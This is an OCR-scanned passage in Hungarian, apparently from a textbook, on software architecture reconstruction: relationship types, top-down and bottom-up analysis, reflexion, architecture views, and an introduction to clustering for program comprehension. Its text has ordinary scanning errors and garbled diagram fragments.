1996-ban publikaltak [12]:

., A szoftver architektura magaban foglalja azon elemek leirasat, amelyekbol a rendszerek
fel vannak épitve, az ezen elemek kozotti interakciokat, tovabba mintakat, melyek vezerlik
Széles korben elfogadott vélemény, hogy egy szoftverfejlesztési projekt sikerének vagy
bukasanak egyik f6 tényezdje a robosztus és atlathatd szoftver architektira, ahol architektiran
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elsésorban a rendszer komponenseit, azok kapcsolatait ¢s a kdrnyezethez vald viszonyuk
rendszerét értjiik.

A rekonstrukcid tehat olyan reverse engineering tevékenység, melynek célja a mar meglévo
rendszer architekturdjanak feltérképezése és prezentidlasa. A miivelet sordn egy Osszetett,
rendszerint  heterogén  architektiraju  szoftverrendszer Osszetevdit — feltérképezziik;
meghatarozzuk a rendszer logika, funkcionalis vagy strukturdlis szempontbol fontos
szerepeket ellatd egységeit (komponensek, csomagok, osztalyok, metodusok, stb.) valamint az
ezek kozotti kapcsolatokat. Ez a feladat mér egy kisebb (néhany ezer soros) rendszernél is
igen nehéz lehet.

Az architektirarekonstrukcié sok szempontbol hasonlit a visszatervezés folyamatara.
Mindkett6 a rendszerbdl képez egy magasabb szintli reprezentaciot, a kiilonbség mégis oOridsi.
készitiink érthetobb, magasabb szintli modellt. Architektirarekonstrukcié soran pedig a
rendszert, és annak kdrnyezetét is vizsgaljuk. Utdbbiba sok esetben beletartozik pl. a rendszer
halozati topoldgiaja, a kliensek, szerverek és kozottik 1évo kapcsolatok, a szamitogépek
foldrajzi helyzete, Osszekottetései stb. Az architektirarekonstrukcidra tekinthetiink gy is,
mint egy altalanositott (és sok esetben kibdvitett) visszatervezési folyamatra.

Az architekturaelemek kozotti kapcsolat

Az architekturaelemek kozotti kapcsolattipusok alkalmazasi teriiletenként eltéréek lehetnek.
A Systems and software engineering szabvany [13] a kapcsolatokat emliti, mint a
komponensek kommunikaciojaért és mikodésiik 0sszehangolasaért felelds egyedeket, de a
konkrét kapcsolattipusokat nem részletezi. A Documenting software architectures konyv [14]
harom f6 csoportba osztja a kapcsolatokat: rész-egész (is-part-of), fliggdségi kapcsolat
(depends-on), specializdlas vagy altalanositas (is-a). A fliggdségi kapcsolat egyik lehetséges
finomitasanak emliti az adatok megosztasa okozta fliggdséget (shares-data-with), illetve a
hivas (calls) miatt megjelend fiiggdséget, valamint ezt a hivasi fiiggdséget tovabb részletezi:
adatkiildés (sends-data-to), vezérlés (transfers-control-to) és vezérlés atadas (imposes-
ordering-to).

Az OMG altal leirt, Knowledge Discovery Meta-Model (KDM) [15] szabvanyban egy
altalanos modellel taldlkozhatunk. A szabvanyban az alabbi kapcsolatok szerepelnek:
LinksTo Class (egymasra hivatkozo elemek), Consumes Class (masik elem altal eléallitott
adat fogadasa, feldolgozas céljabol), Produces Class (output eldallitasa), SupportedBy Class
(mésik elem tdmogatasa), SuppliedBy Class (egy elem muikddéséhez sziikséges egy masik
elem megléte), DescribedBy Class (elem miikodését leiro masik elem).

A szakirodalomban rengeteg egyéb modszer van architekturaclemek kozotti kapcsolatok
meghatdrozasara ¢és jellemzésére. El6fordulhat példaul, hogy két komponens kozott akkor
feltételeznek fliggdséget, ha az egyik meghibdsoddsa hatassal van a masik komponens
mikodésére. A fiiggdségek megnevezése, osztidlyozdsa mellett, azokat gyakran
tulajdonsagokkal is ellatjak pl. a fliggdség erdssége [16].

Judith A. Staffordy és tarsai [18] fliggdség elemzd modszert fejlesztettek ki és valdsitottak
meg. Az architektura fliggdségekre hozott példaikban két nagy csoportra osztjdk a
kapcsolatokat: szerkezeti és viselkedési kapcsolatokra. Szerkezeti kapcsolatok a forrdskédon
alapul6 statikus kapcsolatok, ezzel szemben a rendszer viselkedésében fellépd kapcsolatok
dinamikusak. Példaul az egyik komponens mitkddése megeldzi, kdveti a masik komponens
mikddését (temporal), egy esemény nem kovetkezhet be, amig a rendszer vagy a rendszer egy
része megfeleld allapotba nem keriil (state-based), egy komponens miikddése maga utdn
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vonja a masik komponens miikodését (casual), vagy a komponens igényel vagy eldallit olyan
informdciot, ami sziikséges sajat vagy masik komponens mitkodéséhez (input/output).

A UML modellez6 nyelv is alkalmas architektira &abrazolasara megfeleld profile
alkalmazasaval. Ennek alkalmazasaval az aldbbi irodalmak foglalkoznak mélyebben:
[19][20][21].

Eszkoztamogatas

Az architektira modellezd szoftvereknél fontos szempont, hogy a programmal egyszerlien
modosithassuk a rajzunkat vagy modelliinket. Rajzold eszkdz esetén (példaul Microsoft
Visio) elveszitjiik a lehetdséget, hogy a modellen kiilonféle szamitogéppel segitett méréseket,
miiveleteket végezziink (példaul élek felemelése magasabb szintii elemekhez). Az altalanos
rajzold programokndl egy szinttel tobb tudast képesek tarolni a kiillonb6zd hierarchikus
grafokat abrazold eszkozok és graf leird nyelvek, metamodellek. Ilyenek a Rigi, Shrimp,
GXL, ¢s egyebek. Léteznek specialisan architektara feltérképezésre fejlesztett programok is,
mint példaul Bauhaus, SotoGraph, SAVE. A fent emlitett altalanos rajzold, illetve graf-
megjelenitd programok koziil szamos ingyenes, addig az utdlag emlitett eszkozok
kereskedelmi termékek, igy csak licencdij ellenében hasznélhatok.

Megkozelitések

Az architektararekonstrukcids folyamatokban is alkalmazzuk a top-down és a bottom-up
megkozelitéseket, bar kicsit masképp, mint a visszatervezés soran.

A top-down megkozelités az architekturarekonstrukcioban

Lényege, hogy a rendszert szétbontjuk, hogy tovabbi ralatast nyerjiink az alrendszereire. Top-
down megkdzelitésnél eldszor a legfelsd szintet elemezziik és formalizaljuk valamilyen leirds
szerint, figyelmen kiviil hagyva a rendszer alsébb szerkezeteit. Ezutan a rendszert tovabb
bontjuk alrendszerekre, majd az alrendszereket tovabbi al-alrendszerekre, egészen addig,
amig el nem jutunk a rendszer alapelemeihez. Szokas szintenkénti megkdzelitésnek is
nevezni. Egy ujabb szint kibontidsa sordn pedig tovabb finomithatunk a felsdbb szintek
leirdsain is (16. abra).
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Rendszer
Felbontas
Alrendszer #1
Rendszer >
Alrendszer #2
Alrendszer #3
Rendszer
Kapcsolatok| meghatarozasa
Alrendszer #1 ,
ll)“ova’bb Rendszer
Alrendszer #2 ontas
7 «— Alrendszer #1
/
Alr/édszer #3 Alrendszer #2
Alrendszer #3

16. dbra. A top-down modszer szemléltetése: a felsobb szinteket (rendszer, alrendszer) hatarozzuk
meg, majd bontjuk fel alacsonyabb szintii elemekre (modulok, forraskodelemek stb.).

A bottom-up megkozelités az architekturarekonstrukcioban

Bottom-up megkozelitésnél a rendszer alsobb, egybetartozd rendszereit elemezziik eldszor,
amig el nem jutunk egy olyan egységhez, ami az elemzett rendszereket egybefoglalja, és ez
altal alrendszerré valik. Bottom-up megkdzelitésnél a rendszer alsobb elemeit mindig
nagyobb részletességgel tudjak feltérképezni. Ezek az elemek pedig nagyobb rendszerekbdl
kapcsolodnak Ossze, hogy alrendszereket alakitsanak ki, amig ralatdst nem nyeriink az
elemzett rendszerre a legfelsd szintrél. Ezt az elemzési stratégiat gyakran seed-modellként
(mag-modell) is szoktdk nevezni, mivel a rendszer alsobb épitd elemeitdl, ugymond a
magjaibdl indulunk ki, amit aztdn tovabb novesztiink fels6bb rendszerekké (17. abra).
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Modul #2

Modul #1 Modul #2 Kapcsolatok Modul #1
meghatarozasa |%
Modul #3 Modul #4

Modul #3 Modul #4

v

Modul #5 Modul #6 Modul #5 X Modul #6

Osszefiiggések|meghatarozasa
Rendszer

Alrendszer #1 Alrendszer #1

Modul #1 Modul #2 Tovabbi
odu odu egységek Modul #1 Modul #2

|* meghatarozasa |
Modul #3 Modul #4 <

Modul #3 Modul #4

\

\

Alrendszer #2 Alrendszer #i
Modul #6

Modul #5 Modul #6

Modul #5

17. abra. A bottom-up modszer szemléltetése: az alsobb szintekbdl (forraskodelemek, modulok)
kiindulva hatarozzuk meg a szoftver magasabb szintii elemeit (alrendszerek, rendszerek) és a
kozottiik fellép kapcsolatokat.

Modszerek

Ezen fejezet célja egy modszertan megadédsa, amely segitségével meglévd, ilizemeld
szoftverrendszerek architektirdjanak feltérképezése, utdlagos dokumentalasa végezhetd el.
Architektura alatt alapvetéen minden olyan informdaciot érthetiink, ami fontos lehet a rendszer
szerkezetének és mikodésének megértéséhez, tovabbfejlesztéséhez, a rendszerrel kapcsolatos
kockazatbecsléshez. Mivel az architektira egyik legfontosabb nézete a szerkezeti felépités
(modulok és azok kozotti kapcsolatok), erre nagyobb hangsulyt fektetiink [22] [23].

A modszertan altalanos szerkezete az alabbi:

1. Altalanos informaciok megadasa. Az alabbi informaciok megadisa lehetséges:
kiadas datuma ¢és allapota, felmérést végzO szervezet, valtozasok, Osszefoglalas,
felmérés teriilete, kdrnyezet, szdszedet, hivatkozasok, stb.
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2. Résztvevok és az igények felderitése. Fontos a résztvevok (érdekelt felek) azonositasa:
felhasznalok, megbizok, fejlesztok, karbantartok, stb. Tovabba a felmérés igényeinek
meghatarozésa: rendszer feladata, célja, alkalmassaga feladatanak teljesitésére, a rendszer
fejlesztésének ¢és ilizemeltetésének kockdzatai, karbantarthatosédga, fejleszthetdsége, a
felmérés eredménye, mint utdlagos dokumentacio, referencia a tovabbfejlesztéshez.

3. Architektira nézetek meghatiarozasa. Az igények alapjan a felmérés soran
alkalmazott nézetek meghatarozasa, példaul szerkezeti és mikodési nézet. A nézetek a
konkrét felmérés informacidtartalmat hatdrozzdk meg. A nézetek dokumentalasanal
fontos megadni az érintett résztvevoket, a nézetek altal érintett igényeket, és a nézetek
eldallitasi modjat.

4. Architektira nézetek részletes kidolgozasa egy konkrét rendszer esetén. A
tényleges eredménytermékek, a dokumentacid. A nézeteknek konzisztenseknek kell
lenni, ezért az egyes nézetek kozotti Osszefiiggéseket is dokumentalni kell.

5. Architektira kiértékelése. A felmérés alapjan vélemény kialakitésa, javaslatok tétele.

Ez a fejezet a két legfontosabb elemére terjed ki, a szerkezeti és miikodési nézetek
kidolgozaséara. Tovabba, a gyakorlatban leginkdbb bevalt kétiranyi megkdzelitést targyaljuk,
melynek soran egyrészt kézi modszerrel végezziik a feltérképezést feliilrol-lefelé (top-down)
haladva (interjuk készitése a résztvevokkel), masrészt automatikus kodelemzést alkalmazva
elvégezzilk a ténylegesen megvalositott rendszer tényleges Osszefliggéseinek feltarasat.
Ezutan szembesitjiik a kétféle modellt és kialakitjuk a konszolidalt architektara leirdst (ez az
un. reflexio).

Kétiranyu elemzés

Az architektira elemzés célja a szoftver rendszer szerkezetének feltérképezése és a rendszer
elemei kozotti 6sszefiiggések felfedése. Az elemzés torténhet feliilrdl lefelé, a rendszer egyre
kisebb részekre bontasaval (top-down), amiket a funkcionalitdsok és a szerkezeti elemek
kozotti kapcsolatok alapjan hatarozhatunk meg. A szilikséges informdaciora a rendszer
fejlesztdivel, karbantartoival és felhasznaloival folyatott interjuk soran derithetiink fényt. Az
ilyen tipusu elemzés akar a forraskdd szintjéig is eljuthat, de az alacsony szinteken sok 1dot
emésztenének fel az interjuk. Ekkor kertilhet képbe a forditott irdnyti, alulrdl felfelé (bottom-
up) halad6 elemzés, ami a forraskod vizsgalata alapjan alkotja meg a rendszer szerkezeti
modelljét. A rendszert megvalositd programozasi nyelv daltal biztositott hierarchikus
szerkesztés és a programelemek kozotti fliiggdségek alapjan eldallithatd a rendszer egy
alacsony szintli szerkezeti modellje. Megfeleld elemzd eszkozokkel ez a folyamat teljesen
automatizalhato.

Mindkét iranyt elemzést elvégezve sziikség van arra, hogy kapcsolatot teremtsiink a két
elemzés kozott. Ezt a folyamatot nevezzik reflexionak. A reflexid sordan a fentrdl lefelé
torténd elemzés sordn meghatarozott legals6 szintii elemeket feleltetjiik meg a megvalositas
nyelve altal tamogatott legfelsébb szintli programnyelvi elemekkel vagy ezek egy
csoportjaval. Ha nem tudjuk az dsszes elemre kiterjedden a megfeleltetést elvégezni, akkor
sziikséges az elemzési 1épések és a reflexio iterativ végrehajtasa. Ez a fentrdl lefelé torténd
elemzések finomitasat jelenti, valamint az alulrdl felfelé torténd elemzés kiegészitését interjuk
soran szerzett informacidk segitségével, ha a megvaldsitds nyelve nem tesz lehetéveé
magasabb szintli csoportositast.

A reflexi6 az elemzési folyamat fontos része, segitségével valds képet kaphatunk a
rendszerlink tényleges mitkddésérél. Ha példaul a rendszeriink két (a specifikdcio alapjan)
figgetlen komponense is rendelkezik adatbéazis kapcsolattal, de a forraskod elemzés
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kimutatja, hogy az egyik komponens a masiknak az adatbazis-kapcsolati paramétereit
hasznalja, akkor vagy az implementéciot kell modositani a fiiggetlenség elérése végett, vagy a
dokumentacioban is jelezni kell ezt a fliggdségi viszonyt. Ha ugyanis ezek egyike sem
torténik meg, akkor az egyik komponenshez sziikséges modositas (mondjuk az adatbazis
masik szerverre helyezése) eldre nem lathato hibat fog okozni a masik komponensben. Ez
rdadasul valosziniileg csak ¢éles lizemben deriilne ki, hiszen a dokumentéacid alapjan semmi
okunk nem lenne a masik komponenst is tesztelni. A reflexioval felfedezett ,rejtett”
fliggdségeknek tehat igen fontos szerepiik van példaul a tesztelésben, vagy akar a fejlesztési
koltségek megbecslésében is.

Szerkezeti modell
Az elemzés soran meg kell allapitanunk az elemzés szintjeit. A 18. dbra az altalanos szinteket
mutatja be.

Company IT

.~ Rendszerek szintje ----------------------------"f---------"-"-"------- ‘I ““““““ N
! 1
i Rendszer Rendszer Rendszer !
. Alkalmazasok szintje "~~~ -~~~ -------===-------- |‘ """""""""""""""" .
! Alkalmazas Alkalmazas !

Fizikai komponensek szintje ~~[ """ "TTTTTTTTTT T oo T oS TS oo T oo s m e e e e N
! ' | :
i Program Program Program !
1 | !
! | | |
' . , .. . ,
' | Szoftver konyvtar Szoftver konyvtar .
' '
. Forraskddok szintje =" -----Z7-----{-----------<-=------ - oS- ---------- .
E Forraskod Forraskod !

_____________________________________________________________________________

18. dabra. Az elemzés altalanos szintjei

Az egyes szintek elemei bdviilhetnek a vizsgalt rendszer sajatossagainak megfeleléen
(specializalas). Példaul a forraskodok szintjén megjelenhetnek a tarolt eljarasok, ha az
elemzett rendszer logikdjanak jelentds része tarolt eljardsokban talalhatdo meg. A fentrdl lefele
torténd elemzés a rendszerek szintjén indul, a forditott iranyt elemzés a forrasfajlok alapjan
kovetkeztet a szerkezetre. Az egyes szinteken beazonositott fliggdségek felemelhetdk a felette
allo szintekre, igy pontositva azt, vagy lesiillyeszthetOk az alatta allo szintre az adott szint
szemcsézettségének megfeleld elemek kozé. A szinteknek ellentmonddsmentesnek kell
lenniiik.

Kézi modellezés (feliilrol-lefelé torténo elemzés)

Ebben a megkozelitésben ugy tekintiink a szoftver rendszerre, mint ami funkcionalitasokat
biztosit. E funkcionalitasok mogott elhelyezkedd alrendszerek 0sszessége jelenti szamunkra a
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rendszer fogalmat. Az egyes alrendszereken beliil a funkcionalitasok és a kapcsolatok alapjan,
ami a szerkezeti rendez8dést meghatarozza, ujabb kisebb komponenseket hatarozunk meg.

Elemzés megtervezése

Mi(k) a rendszer(ek), ami(ke)t elemezni szeretnénk?
Milyen nézeteket szeretnénk vizsgalni a rendszer elemzése soran?
Milyen dokumentaciok érhetdk el a rendszerrdl és ezek a dokumentéciok mennyire
kovették a rendszer valtozasat?
Kik azok, akik a rendszert fejlesztik, fejlesztették és karbantartjak?
Lehetséges nézetek:
o Szerkezeti
o Fizikai
o Mikodési

Elemzés végrehajtasa (iterativ folyamat)
Interjuk megtervezése

A megbeszélés targya: rendszer vagy belsé komponens.

A vizsgalt nézetek (példaul szerkezeti, fizikai, mikodési...).

A vizsgalt elemek a nézetekben (példaul szerkezeti esetén a kapcsolatok tipusanak
vizsgélata).

A megfelel6 személy kivalasztasa az interjuhoz.

Korabbi ismereteink alapjan célzott kérdések, illetve az ellentmondasok feloldasara
vonatkoz6 kérdések megfogalmazasa.

Interjuk téemai

Rendszer feladata.

Rendszer kornyezete és kapcsolatai (szerkezeti nézet).

Rendszer f6bb komponensei €s kapcsolatai (szerkezeti nézet).

Rendszer komponensek tovabbontésa, a kapcsolatok finomitdsa (szerkezeti nézet).
Rendszer folyamatok, haszndlati esetek felderitése (miikodési nézet).

Folyamatok beillesztése az eldallt, konkrét rendszerre vonatkozd szerkezeti nézetbe.

A folyamatban résztvevd komponensek, kapcsolatok és folyamatok megfogalmazasa a
szerkezeti kapcsolatok hasznalatanak sorrendjével.

Nézetek pontositasa az ellentmondasok feloldaséaval.

Rendszerbeli kapcsolatok osztalyozasa (példaul adat, vezérlés), kapcsolattipusok
Osszevetése a folyamatokkal, és sziikség esetén javitasok.

Rendszer és kornyezetének fizikai elhelyezkedése (szerverek) és kapcsolatai.

Fizikai kapcsolatok osztalyozasa (példaul protokollok), szerkezeti kapcsolatokkal valo
Osszevetes.

Folyamatok ¢s fizikai kapcsolatok dsszevetése.

A konkrét rendszerre vonatkozo6 nézetek sziikséges szintig vald finomitasa.

Interjuk eredményeinek rogzitése

Kézi rajzok tisztazasa és atgondolasa.
Uj informaciok Osszevetése a korabbiakkal — ellentmondasok felvetése a kovetkezd
interjun.
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e Ugyanazon rendszer, kiillonb6zd nézeteinek Gsszevetése — a megfeleltetésben hianyzo
részek pontositasa a kovetkezd interjin.
o Kiilonboz0 rendszerek kapcsolodasi pontjainak illesztése.
o Kérdések rogzitése.
Tanacsok

Egy-egy nézet elsd interjujan érdemes megkérni a rendszert bemutatd személyt, hogy
rajzban rogzitse az ismereteit.

Késobbiekben érdemes altalunk rajzolt letisztazott dbrakat is vinni, ami tiikrozi eddigi
ismereteinket.

Konnyen modosithaté forméaban érdemes tarolni a terveinket.

Folyamatokat érdemes a szerkezeti abrankon bemutatni a fejlesztonek/felhasznalonak,
hogy jol értjiik-e.

Architektura nézetek

Az architektira nézetek az altalanos architektura elemzés megvaldsitasi modelljei egy-egy
konkrét rendszerre vonatkoztatva (specializalt modell kozéppontban a vizsgalt rendszerrel). A
nézetek kiilonféle modok, ahogyan a vizsgalt rendszerre tekinthetiink. A kiilonb6z6 nézetek
mas-mas tulajdonsagait jelenitik meg ugyanazon rendszernek.

Az egyes nézeteket az alabbi jellemzokkel tudjuk leirni:

nézet neve,

nézetben lehetséges elemek,

nézetben lehetséges kapcsolatok,

nézetben egy konkrét rendszer elemzésének eldallitdsi modja.

Egy konkrét rendszer architekturdja a nézetek alkalmazidsa a rendszer egészére vagy egy
részére.

Szerkezeti nezet

Kapcsolodo
rendszer 2.
A\ 4 A\ 4
Kapcsolodo | Vizsgalt .| Kapcsolodo
rendszer 1. | | rendszer "| rendszer 3.

19. abra. Példa szerkezeti nezet 0. szintre

A rendszer szerkezetének megjelenitésére szolgal.
0. szint (lasd 19. abra)

A rendszer kornyezetét abrdzolja a kapcsolataival.
Elemek tipusai: rendszerek.
Kapcsolatok: fliggdségek a rendszerek kozott.
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Megvalositas

e Kapcsolodo rendszerek felsoroldsa és a rendszerek leirasa.
e Kapcsolatok leirasa (forras, cél, tipus, leiras).
e Abrazolas: iranyitott graf (pontok, élek).

1. szint (1asd 20. abra)

e A rendszer belsé komponenseit és a kozottiik 1évo kapcesolatokat abrazolja.
e FElemek tipusai:

o Dbelsé komponensek: kiilonallo funkcionalis egységek.

o adattarak: adatok tarolaséara szolgaldé komponensek.

o adatok: dsszetartozo adatok csoportositasa.
e Kapcsolatok:

o adataramlas: adatok tovabbitasa a komponensek kozott.

o vezérlés: a komponensek kozotti vezérld lizenetek kiildése.

r Kapcsolodo rendszer 2. —

Kapcsolodo
rendszer 2
adatok Kapcsolodos |

rendszer 3.

A

1
1
:
[ Vizsgalt rendszer i
v E
v :
. , ]
Kapcsolodo .| Vizsgalt !
rendszer 1. rendszer '
A adatok !
1 1
| ﬂ‘ :
] 1
| A |
1 1
t- - - - - - - L L L L L L Komponens 1. f------------- - -4

7'y :

|

]

]

Komponens P. X

]

\ 4

Komponens 2.1. Komponens 2.2.
20. dabra. Példa szerkezeti nézet 1. szintre
Megvalositas

e Komponensek és a komponensek leirasa.
e Kapcsolatok leirasa (forras, cél, tipus, leiras).
o Kiilsé rendszerekkel valod kapcsolatok finomitasa: a vizsgalt rendszeren beliil
melyik komponensekkel kapcsolodik a kornyezet.
o Belsé komponensek kézotti kapesolatok.
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e Abrazolas: hierarchikus szerkezeti abra nyilakkal.
o A szaggatott nyilak jelzik a vezérlés tipusu fiiggdségeket.

A egy valos alkalmazéds szerkezeti nézetét abrazolja. Az alkalmazas egy konyvesbolt
informdécios rendszere.

Fizikai nézet

A rendszer elemeinek fizikai elhelyezkedését abrazolja.

0. szint (lasd 21. abra)

e A rendszer fizikai kornyezetét abrazolja a kapcsolataival.
e Elemek tipusai: szerverek.
e Kapcsolatok: kapcsolatok a szerverek kozott.

A 4

Szerver 4.

\ 4

Szerver 1.
A

A 4

Szerver 3. [«

Szerver 2.

21. abra. Példa fizikai nézet 0. szintre

Megval0sitas

e Kapcsolddo szerverek felsorolasa és a szerverek leirasa.
e Kapcsolatok leirasa (forras, cél, mod).
e Abrazolas: iranyitott grafokkal (pontok, élek).

1. szint (1asd 22. ébra)
A szervereken talalhatd szerkezeti komponenseket és a kozottiik fellépd kapcsolatokat.

e FElemek tipusai:
o Dbelsé komponensek: kiilonallo funkcionalis egységek.
o adatbazisok és fajlrendszerek: adatok tarolasara szolgald komponensek.
o adattablak: 6sszetartoz6 adatok csoportositasa.
e Kapcsolatok:
o adataramlas: a komponensek kozotti adatok tovabbitasa.
o vezérlés: a komponensek kozotti vezérld tizenetek kiildése.

Megvalositas

e A vizsgalt rendszert tartalmazé szerverek felsorolasa a nyujtott funkcionalitdsokkal
(szerkezeti komponensek).

¢ A funkcionalitds megvalosito technologia leiréasa.

e Abrazolas: hierarchikus szerkezeti abra nyilakkal.
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— Szerver 4.
1. _ 4 Kapcsolodod
! rendszer 3
]
]
]
]
.
]
— Szerver 3. \— Szerverl. ————— — Szerver 2.
|
]
.
]
Komponens
Kapcsolodo : | Vizsgalt 2p 1
rendszer 2 1 rendszer )
adatbazis . adatbazis
1
? y
' I Komponens
Kapcsolodo - ' 3 22
rendszer 1 F--I--91 Komponens 1 [« 7y
; :
T e o e e e e e e e — e = - - - = T

22. abra. Példa fizikai nézet 1. szintre

Miikédeési nézet
A rendszer miikddési folyamatait abrazolja.
0. szint

A rendszer funkcionalitdsai és allapotai.

Funkciok és allapotok kozotti atmenetek.

Funkciok altal igényelt inputok, keletkezd outputok.
Funkcidkat megvalositd szerkezeti komponensek.

Megvalositas

e A vizsgalt rendszer funkcionalitasdnak elérését biztosito feliiletek.

e A folyamatok sorrendiséget tiikkr6z0 szoveges leirasa.

e Abrazolas: EPC diagram (funkciok, allapotok, kapcsol6dd komponensek, input,
output, folyamat).

Forraskdd elemzés

A forraskodd-elemzés az architektirarekonstrukei6 igen hatékony eszkoze. A forraskodbol ki
blokkok, eljarasok, fiiggvények, komponensek), programelemek kozotti fliggdségeket
(véltozohasznalat, vezérlési fliggdség, stb.). Az ilyen modellek nyelvfiiggdk, és altalaban
tulsagosan részletesek, de beldliik magasabb szintii, nyelvfiiggetlen modellek generalhatok. A
forraskod-elemzésen alapul6 alulrél felfelé haladdé modszer elénye, hogy a ténylegesen 1étezo
kapcsolatok automatikusan kinyerhetdek a segitségével, tehat az eldéllitott modell a valodi
implementacidt tiikrozi, szemben az interjukon ¢és a tervezési dokumentacion alapulo
modellel. Az ilyen automatikus moédszer megvalositdsdhoz a kovetkezd feladatokat kell
megoldani:
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A rendszerhez tartozé forrasok beazonositésa.

Modellezendd programelemek meghatarozésa.

Programelemek kozotti fiiggdségeket okozo kapcsolatok tipusainak meghatarozasa.

A forrasok elemzése, programelemek ¢€s fliggdségek megallapitasa.

Iterativ modon a modell magasabb szintre emelése, az 0sszetartozd programelemek
csoportba (komponensekbe) foglalésa, fiiggdségek propagalasa.

Reflexio

A reflexié soran a fentrdl lefelé iranyuld és a forraskod elemzés soran eléallt modellek
elemeinek egymasnak megfeleltetése torténik. Mas szdoval, a reflexié nem mas, mint a két
modellben beazonositott elemek egymasnak valdo megfeleltetése. Ehhez sziikséges, hogy

rrrrr

minden elemnek a megfeleltetése, akkor ezeket az elemeket tartalmazoé részt tovabb finomitva
(vagy altalanositva) iterativ modon folytathatjuk a reflexiot.

Architektira folyamatos karbantartasa

Az egyszeri felmérés altal eldallt architektira dokumentdcié ugyan rendkiviil hasznos a
hatékony fejlesztés és lizemeltetés szempontjabol, de ha nem képes kdvetni a rendszer
tovabbfejlesztését, gyorsan elavulttd, érvénytelenné és értéktelenné valhat. Ezért sziikséges az
eldallitott architektira folyamatos karbantartisa. Ebben természetesen nagy segitség a
szoftvereszkozzel vald tdmogatottsag, hiszen a rendszerben torténd valtoztatdsok gyors és
pontos atvezetése az architektira dokumentacioba minél kisebb emberi erdfeszitést kell, hogy
igényeljen (példaul szinkronizalas régi €s 1) valtozat kdzott).

A folyamatos karbantartas eldsegitése érdekében folyamatos mérés, ellenérzés is javasolt, ami
torténhet egy kdzponti monitor rendszer segitségével is. Az architektira elemekhez jellemzok
(metrikak) vannak hozzarendelve (pl. kapcsolatok szdma), amelyek adatbazisba feltolthetok.
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PROGRAM MEGERTES ES VIZUALIZALAS

A konnyen megérthetd forraskod eldallitasa fontos a szoftver tervezése, fejlesztése soran. A
fejlesztd csapat tagjai gyorsan cserélodhetnek. Kisebb csapatok esetén persze ez ritkabban
kovetkezhet be, viszont tobb tucat fejlesztovel rendelkezé cég ,.készlete” barmilyen nem vart
esemény hatdsara cseréldodhet, frissiilhet. Az ilyen esetekben nagyon fontos, hogy a program
érthetd legyen, mivel az 01j csapattag elsd 1épéseként meg kell, hogy értse a jelenlegi rendszer
muikodését. A program megértését sok minden segitheti. Példaul egy érvényes dokumentacio,
felhasznaloi kézikonyv, UML diagramok, tervezési dokumentumok, stb. A megértéshez
felhasznalhat6 forrasok koziil mégis maga a kod nyujtja a legjobb, legbiztosabb (ugyanakkor
leglassabb) megoldast. Egy megkozelitése a program, azaz a kéd konnyebb megértésének,
hogy ha nem az egész rendszert tekintjiik egyszerre, csak bizonyos részeit. Ez a megoldas
felgyorsitja a program megértését, mivel nem komplex rendszert kell atlatnunk, hanem
kezdetben csak modulokat, majd azok kapcsolatainak megértésével képet kapunk a teljes
rendszerrél. Ez a megkozelités konnyen alkalmazhatd, ha eleve rendelkeziink a modulokkal,
tudjuk melyik modul milyen szerepet jatszik a teljes rendszer szempontjabol, tudjuk melyik
osztaly melyikhez kapcsolodik. Egy java programban példaul modulnak tekinthetd egy
csomag, mivel szinte biztos, hogy a csomag egy adott célnak, egy célcsoportnak a
megoldasait, megvalodsitasait tartalmazza (ilyen példaul a java.io csomag, amely az 6sszes be-
¢és kimenet kezelésért felelos osztalyt, csomagot tartalmazza.) Abban az esetben, amikor a
megérteni kivant kodban nem tudjuk a modulokat felismerni, nem tudjuk, hogy egy osztaly
milyen funkci6t tolt be, vagy milyen mas osztalyokkal all kapcsolatban, akkor célszerti lehet
valamilyen modulokra bonté program elemzésének aldvetni a rendszert, mely program egy
klaszterez6 algoritmuson alapulhat. Ilyen esettel taladlkozhatunk példaul, amikor megorokliink
egy kodot, és szeretnék tovabbfejleszteni, vagy a szolgéltatasait mas kédba beépiteni.

hasonlésdg . )
absztrakcidja értelmezés I

klaszterezés

_—

23. abra. A klaszterezés folyamata
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Klaszterezés

A klaszterezés célja egy halmaz heterogén elemeinek csoportokba, osztalyokba, klaszterekbe
rendezése gy, hogy az egy csoportba tartoz6 elemek valamilyen mérce szerint hasonlitsanak
egymasra vagy kozel legyenek egymashoz. A modszert legeldszor a statisztikaban alkalmaztak,
mivel itt hatalmas adathalmazokon kellett szamitasokat végezni, illetve csoportositani azokat.
Késébb azonban az informatika szdmos teriiletén beliil is hasznosnak bizonyult. A
klaszterezés soran a pontokat (az adathalmaz elemeit pontoknak tekintjiik) kiilonb6z6
csoportokba, ugynevezett klaszterekbe soroljuk. Minden elem pontosan egy csoporthoz
tartozik, igy a csoportok mindig diszjunktak lesznek. A csoportositas, klaszterezés 1ényege,
hogy az egy klaszterbe esd pontok valamilyen tulajdonsagai hasonloak legyenek egymashoz -
- legalabbis mindenképpen hasonldbbak, mint két kiilon klaszterbe es6 ponté [24].

A klaszterezd algoritmusokat grafokon is végrehajthatjuk. Graf klaszterezése alatt azt értjiik,
hogy a graf pontjait olyan csoportokba osztjuk, amely csoportokba tartozé csomdpontok
kozott sok ¢l fut, mig a kiilonb6zd csoportokba tartozoé csomopontok kdzott viszonylag kevés.
Egy graf ¢leihez stlyokat is rendelhetiink, ilyenkor a klaszterezés folyaman olyan csoportokat
probalunk meg kialakitani, amelyen beliili csomdpontok kozti élek dsszsulya joval nagyobb,
mint a kiilonb6z6 csoportokhoz tartoz6é csomdpontok kozti éleké.

Jogosan tehetjiik fel a kérdést, hogy a klaszterezés milyen szerepet jatszhat egy
szoftverrendszer modulokra bontasaban.

Egy szoftverrendszert is képesek vagyunk graf, illetve fa szerkezetben reprezentdlni, igy az
elobb emlitett graf klaszterezé algoritmusok ebben az esetben is alkalmazhatok. Mivel a
szoftverrendszereket reprezentdld grafok csomoépontjai 4altaldban az osztalyok, vagy
metddusok, az élek pedig a koztiik 1évé kapcsolatokat reprezentaljak (pl.: hivas, asszociacio,
kompozicio, oroklddés, stb.), igy a graf klaszterei pontosan a rendszer moduljainak fognak
megfelelni. A klaszterezést tetszleges ¢l mentén végezhetjiik. A rendszerek abrazolasahoz
ebben az esetben nem megfeleld a hagyomanyos ASG és AST reprezentacid, mivel az
optimalis klaszterezéshez nem elég egy igen/nem, 0/1 jelolés arra, hogy az osztalyok, vagy
metddusok kozotti kapcesolatokat leirjuk. A klaszterezés sokkal pontosabb képet ad, ha a
kapcsolatokat sulyozzuk. Ez altalaban azt jelenti, hogy két graf pont, legyen A és B, tavolsaga
a grafban egyenértékii az A-ban szerepld B valamely elemére torténd hivatkozdsok szaménak,
